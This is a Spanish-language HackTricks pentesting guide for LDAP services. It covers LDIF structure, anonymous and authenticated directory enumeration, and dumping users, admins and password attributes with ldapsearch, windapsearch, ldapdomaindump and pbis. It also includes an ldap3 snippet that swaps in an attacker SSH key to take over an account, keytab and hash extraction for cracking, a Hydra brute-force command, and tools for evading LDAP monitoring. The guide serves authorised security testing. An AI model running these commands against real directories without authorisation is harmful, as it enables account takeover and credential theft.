389, 636, 3268, 3269 - Pentesting LDAP

tip

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

El uso de LDAP (Protocolo Ligero de Acceso a Directorios) es principalmente para localizar diversas entidades como organizaciones, individuos y recursos como archivos y dispositivos dentro de redes, tanto públicas como privadas. Ofrece un enfoque simplificado en comparación con su predecesor, DAP, al tener una huella de código más pequeña.

Los directorios LDAP están estructurados para permitir su distribución a través de varios servidores, con cada servidor albergando una versión replicada y sincronizada del directorio, conocida como un Agente del Sistema de Directorios (DSA). La responsabilidad de manejar las solicitudes recae completamente en el servidor LDAP, que puede comunicarse con otros DSAs según sea necesario para entregar una respuesta unificada al solicitante.

La organización del directorio LDAP se asemeja a una jerarquía de árbol, comenzando con el directorio raíz en la parte superior. Esto se ramifica hacia abajo a países, que se dividen aún más en organizaciones, y luego en unidades organizativas que representan varias divisiones o departamentos, llegando finalmente al nivel de entidades individuales, incluyendo tanto personas como recursos compartidos como archivos e impresoras.

Puerto por defecto: 389 y 636(ldaps). El Catálogo Global (LDAP en ActiveDirectory) está disponible por defecto en los puertos 3268 y 3269 para LDAPS.

PORT    STATE SERVICE REASON
389/tcp open  ldap    syn-ack
636/tcp open  tcpwrapped

Formato de Intercambio de Datos LDAP

LDIF (Formato de Intercambio de Datos LDAP) define el contenido del directorio como un conjunto de registros. También puede representar solicitudes de actualización (Agregar, Modificar, Eliminar, Renombrar).

bash
dn: dc=local
dc: local
objectClass: dcObject

dn: dc=moneycorp,dc=local
dc: moneycorp
objectClass: dcObject
objectClass: organization

dn ou=it,dc=moneycorp,dc=local
objectClass: organizationalUnit
ou: dev

dn: ou=marketing,dc=moneycorp,dc=local
objectClass: organizationalUnit
Ou: sales

dn: cn= ,ou= ,dc=moneycorp,dc=local
objectClass: personalData
cn:
sn:
gn:
uid:
ou:
mail: pepe@hacktricks.xyz
phone: 23627387495
  • Las líneas 1-3 definen el dominio de nivel superior local
  • Las líneas 5-8 definen el dominio de primer nivel moneycorp (moneycorp.local)
  • Las líneas 10-16 definen 2 unidades organizativas: dev y sales
  • Las líneas 18-26 crean un objeto del dominio y asignan atributos con valores

Escribir datos

Tenga en cuenta que si puede modificar valores, podría ser capaz de realizar acciones realmente interesantes. Por ejemplo, imagine que puede cambiar la información de "sshPublicKey" de su usuario o de cualquier usuario. Es muy probable que si este atributo existe, entonces ssh está leyendo las claves públicas desde LDAP. Si puede modificar la clave pública de un usuario, podrá iniciar sesión como ese usuario incluso si la autenticación por contraseña no está habilitada en ssh.

bash
# Example from https://www.n00py.io/2020/02/exploiting-ldap-server-null-bind/
>>> import ldap3
>>> server = ldap3.Server('x.x.x.x', port =636, use_ssl = True)
>>> connection = ldap3.Connection(server, 'uid=USER,ou=USERS,dc=DOMAIN,dc=DOMAIN', 'PASSWORD', auto_bind=True)
>>> connection.bind()
True
>>> connection.extend.standard.who_am_i()
u'dn:uid=USER,ou=USERS,dc=DOMAIN,dc=DOMAIN'
>>> connection.modify('uid=USER,ou=USERS,dc=DOMAINM=,dc=DOMAIN',{'sshPublicKey': [(ldap3.MODIFY_REPLACE, ['ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDHRMu2et/B5bUyHkSANn2um9/qtmgUTEYmV9cyK1buvrS+K2gEKiZF5pQGjXrT71aNi5VxQS7f+s3uCPzwUzlI2rJWFncueM1AJYaC00senG61PoOjpqlz/EUYUfj6EUVkkfGB3AUL8z9zd2Nnv1kKDBsVz91o/P2GQGaBX9PwlSTiR8OGLHkp2Gqq468QiYZ5txrHf/l356r3dy/oNgZs7OWMTx2Rr5ARoeW5fwgleGPy6CqDN8qxIWntqiL1Oo4ulbts8OxIU9cVsqDsJzPMVPlRgDQesnpdt4cErnZ+Ut5ArMjYXR2igRHLK7atZH/qE717oXoiII3UIvFln2Ivvd8BRCvgpo+98PwN8wwxqV7AWo0hrE6dqRI7NC4yYRMvf7H8MuZQD5yPh2cZIEwhpk7NaHW0YAmR/WpRl4LbT+o884MpvFxIdkN1y1z+35haavzF/TnQ5N898RcKwll7mrvkbnGrknn+IT/v3US19fPJWzl1/pTqmAnkPThJW/k= badguy@evil'])]})

Capturar credenciales en texto claro

Si LDAP se utiliza sin SSL, puedes capturar credenciales en texto plano en la red.

Además, puedes realizar un ataque MITM en la red entre el servidor LDAP y el cliente. Aquí puedes hacer un Ataque de Downgrade para que el cliente use las credenciales en texto claro para iniciar sesión.

Si se utiliza SSL, puedes intentar hacer MITM como se mencionó anteriormente, pero ofreciendo un certificado falso; si el usuario lo acepta, puedes degradar el método de autenticación y ver las credenciales nuevamente.

Acceso Anónimo

Bypass de la verificación SNI de TLS

Según este informe, solo al acceder al servidor LDAP con un nombre de dominio arbitrario (como company.com), pudo contactar el servicio LDAP y extraer información como un usuario anónimo:

bash
ldapsearch -H ldaps://company.com:636/ -x -s base -b '' "(objectClass=*)" "*" +

LDAP anonymous binds

LDAP anonymous binds permiten a atacantes no autenticados recuperar información del dominio, como una lista completa de usuarios, grupos, computadoras, atributos de cuentas de usuario y la política de contraseñas del dominio. Esta es una configuración heredada, y a partir de Windows Server 2003, solo se permite a los usuarios autenticados iniciar solicitudes LDAP.
Sin embargo, los administradores pueden haber necesitado configurar una aplicación particular para permitir enlaces anónimos y haber otorgado más acceso del que se pretendía, dando así a los usuarios no autenticados acceso a todos los objetos en AD.

Valid Credentials

Si tienes credenciales válidas para iniciar sesión en el servidor LDAP, puedes volcar toda la información sobre el Domain Admin usando:

ldapdomaindump

bash
pip3 install ldapdomaindump
ldapdomaindump <IP> [-r <IP>] -u '<domain>\<username>' -p '<password>' [--authtype SIMPLE] --no-json --no-grep [-o /path/dir]

Fuerza Bruta

Enumeración

Automatizada

Usando esto podrás ver la información pública (como el nombre de dominio):

bash
nmap -n -sV --script "ldap* and not brute" <IP> #Using anonymous credentials

Python

Ver enumeración LDAP con python

Puedes intentar enumerar un LDAP con o sin credenciales usando python: pip3 install ldap3

Primero intenta conectar sin credenciales:

bash
>>> import ldap3
>>> server = ldap3.Server('x.X.x.X', get_info = ldap3.ALL, port =636, use_ssl = True)
>>> connection = ldap3.Connection(server)
>>> connection.bind()
True
>>> server.info

Si la respuesta es True como en el ejemplo anterior, puedes obtener algunos datos interesantes del servidor LDAP (como el contexto de nombrado o el nombre de dominio) de:

bash
>>> server.info
DSA info (from DSE):
Supported LDAP versions: 3
Naming contexts:
dc=DOMAIN,dc=DOMAIN

Una vez que tengas el contexto de nombres, puedes hacer algunas consultas más emocionantes. Esta consulta simple debería mostrarte todos los objetos en el directorio:

bash
>>> connection.search(search_base='DC=DOMAIN,DC=DOMAIN', search_filter='(&(objectClass=*))', search_scope='SUBTREE', attributes='*')
True
>> connection.entries

O dump todo el ldap:

bash
>> connection.search(search_base='DC=DOMAIN,DC=DOMAIN', search_filter='(&(objectClass=person))', search_scope='SUBTREE', attributes='userPassword')
True
>>> connection.entries

windapsearch

Windapsearch es un script de Python útil para enumerar usuarios, grupos y computadoras de un dominio de Windows utilizando consultas LDAP.

bash
# Get computers
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --computers
# Get groups
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --groups
# Get users
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --da
# Get Domain Admins
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --da
# Get Privileged Users
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --privileged-users

ldapsearch

Verifica credenciales nulas o si tus credenciales son válidas:

bash
ldapsearch -x -H ldap://<IP> -D '' -w '' -b "DC=<1_SUBDOMAIN>,DC=<TLD>"
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "DC=<1_SUBDOMAIN>,DC=<TLD>"
bash
# CREDENTIALS NOT VALID RESPONSE
search: 2
result: 1 Operations error
text: 000004DC: LdapErr: DSID-0C090A4C, comment: In order to perform this opera
tion a successful bind must be completed on the connection., data 0, v3839

Si encuentras algo que diga que el "bind debe completarse" significa que las credenciales son incorrectas.

Puedes extraer todo de un dominio usando:

bash
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "DC=<1_SUBDOMAIN>,DC=<TLD>"
-x Simple Authentication
-H LDAP Server
-D My User
-w My password
-b Base site, all data from here will be given

Extraer usuarios:

bash
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
#Example: ldapsearch -x -H ldap://<IP> -D 'MYDOM\john' -w 'johnpassw' -b "CN=Users,DC=mydom,DC=local"

Extraer computadoras:

bash
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Computers,DC=<1_SUBDOMAIN>,DC=<TLD>"

Extraer mi información:

bash
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=<MY NAME>,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"

Extraer Domain Admins:

bash
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Domain Admins,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"

Extraer Usuarios del Dominio:

bash
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Domain Users,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"

Extraer Enterprise Admins:

bash
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Enterprise Admins,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"

Extraer Administradores:

bash
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Administrators,CN=Builtin,DC=<1_SUBDOMAIN>,DC=<TLD>"

Extraer Remote Desktop Group:

bash
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Remote Desktop Users,CN=Builtin,DC=<1_SUBDOMAIN>,DC=<TLD>"

Para ver si tienes acceso a alguna contraseña, puedes usar grep después de ejecutar una de las consultas:

bash
<ldapsearchcmd...> | grep -i -A2 -B2 "userpas"

Por favor, ten en cuenta que las contraseñas que puedes encontrar aquí podrían no ser las reales...

pbis

Puedes descargar pbis desde aquí: https://github.com/BeyondTrust/pbis-open/ y generalmente se instala en /opt/pbis.
Pbis te permite obtener información básica fácilmente:

bash
#Read keytab file
./klist -k /etc/krb5.keytab

#Get known domains info
./get-status
./lsa get-status

#Get basic metrics
./get-metrics
./lsa get-metrics

#Get users
./enum-users
./lsa enum-users

#Get groups
./enum-groups
./lsa enum-groups

#Get all kind of objects
./enum-objects
./lsa enum-objects

#Get groups of a user
./list-groups-for-user <username>
./lsa list-groups-for-user <username>
#Get groups of each user
./enum-users | grep "Name:" | sed -e "s,\\\,\\\\\\\,g" | awk '{print $2}' | while read name; do ./list-groups-for-user "$name"; echo -e "========================\n"; done

#Get users of a group
./enum-members --by-name "domain admins"
./lsa enum-members --by-name "domain admins"
#Get users of each group
./enum-groups | grep "Name:" | sed -e "s,\\\,\\\\\\\,g" | awk '{print $2}' | while read name; do echo "$name"; ./enum-members --by-name "$name"; echo -e "========================\n"; done

#Get description of each user
./adtool -a search-user --name CN="*" --keytab=/etc/krb5.keytab -n <Username> | grep "CN" | while read line; do
echo "$line";
./adtool --keytab=/etc/krb5.keytab -n <username> -a lookup-object --dn="$line" --attr "description";
echo "======================"
done

Interfaz Gráfica

Apache Directory

Descargar Apache Directory desde aquí. Puedes encontrar un ejemplo de cómo usar esta herramienta aquí.

jxplorer

Puedes descargar una interfaz gráfica con el servidor LDAP aquí: http://www.jxplorer.org/downloads/users.html

Por defecto se instala en: /opt/jxplorer

Godap

Godap es una interfaz de usuario de terminal interactiva para LDAP que se puede usar para interactuar con objetos y atributos en AD y otros servidores LDAP. Está disponible para Windows, Linux y MacOS y soporta enlaces simples, pass-the-hash, pass-the-ticket y pass-the-cert, junto con varias otras características especializadas como buscar/crear/cambiar/eliminar objetos, agregar/quitar usuarios de grupos, cambiar contraseñas, editar permisos de objetos (DACLs), modificar DNS integrado de Active Directory (ADIDNS), exportar a archivos JSON, etc.

Puedes acceder a él en https://github.com/Macmod/godap. Para ejemplos de uso e instrucciones, lee la Wiki.

Ldapx

Ldapx es un proxy LDAP flexible que se puede usar para inspeccionar y transformar el tráfico LDAP de otras herramientas. Se puede usar para ofuscar el tráfico LDAP para intentar eludir la protección de identidad y las herramientas de monitoreo LDAP e implementa la mayoría de los métodos presentados en la charla MaLDAPtive.

Puedes obtenerlo de https://github.com/Macmod/ldapx.

Autenticación a través de kerberos

Usando ldapsearch puedes autenticarte contra kerberos en lugar de a través de NTLM usando el parámetro -Y GSSAPI

POST

Si puedes acceder a los archivos donde se contienen las bases de datos (podría estar en /var/lib/ldap). Puedes extraer los hashes usando:

bash
cat /var/lib/ldap/*.bdb | grep -i -a -E -o "description.*" | sort | uniq -u

Puedes alimentar a john con el hash de la contraseña (de '{SSHA}' a 'structural' sin añadir 'structural').

Archivos de Configuración

  • General
  • containers.ldif
  • ldap.cfg
  • ldap.conf
  • ldap.xml
  • ldap-config.xml
  • ldap-realm.xml
  • slapd.conf
  • IBM SecureWay V3 server
  • V3.sas.oc
  • Microsoft Active Directory server
  • msadClassesAttrs.ldif
  • Netscape Directory Server 4
  • nsslapd.sas_at.conf
  • nsslapd.sas_oc.conf
  • OpenLDAP directory server
  • slapd.sas_at.conf
  • slapd.sas_oc.conf
  • Sun ONE Directory Server 5.1
  • 75sas.ldif

HackTricks Comandos Automáticos

Protocol_Name: LDAP    #Protocol Abbreviation if there is one.
Port_Number:  389,636     #Comma separated if there is more than one.
Protocol_Description: Lightweight Directory Access Protocol         #Protocol Abbreviation Spelled out

Entry_1:
Name: Notes
Description: Notes for LDAP
Note: |
The use of LDAP (Lightweight Directory Access Protocol) is mainly for locating various entities such as organizations, individuals, and resources like files and devices within networks, both public and private. It offers a streamlined approach compared to its predecessor, DAP, by having a smaller code footprint.

https://book.hacktricks.xyz/pentesting/pentesting-ldap

Entry_2:
Name: Banner Grab
Description: Grab LDAP Banner
Command: nmap -p 389 --script ldap-search -Pn {IP}

Entry_3:
Name: LdapSearch
Description: Base LdapSearch
Command: ldapsearch -H ldap://{IP} -x

Entry_4:
Name: LdapSearch Naming Context Dump
Description: Attempt to get LDAP Naming Context
Command: ldapsearch -H ldap://{IP} -x -s base namingcontexts

Entry_5:
Name: LdapSearch Big Dump
Description: Need Naming Context to do big dump
Command: ldapsearch -H ldap://{IP} -x -b "{Naming_Context}"

Entry_6:
Name: Hydra Brute Force
Description: Need User
Command: hydra -l {Username} -P {Big_Passwordlist} {IP} ldap2 -V -f

tip

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks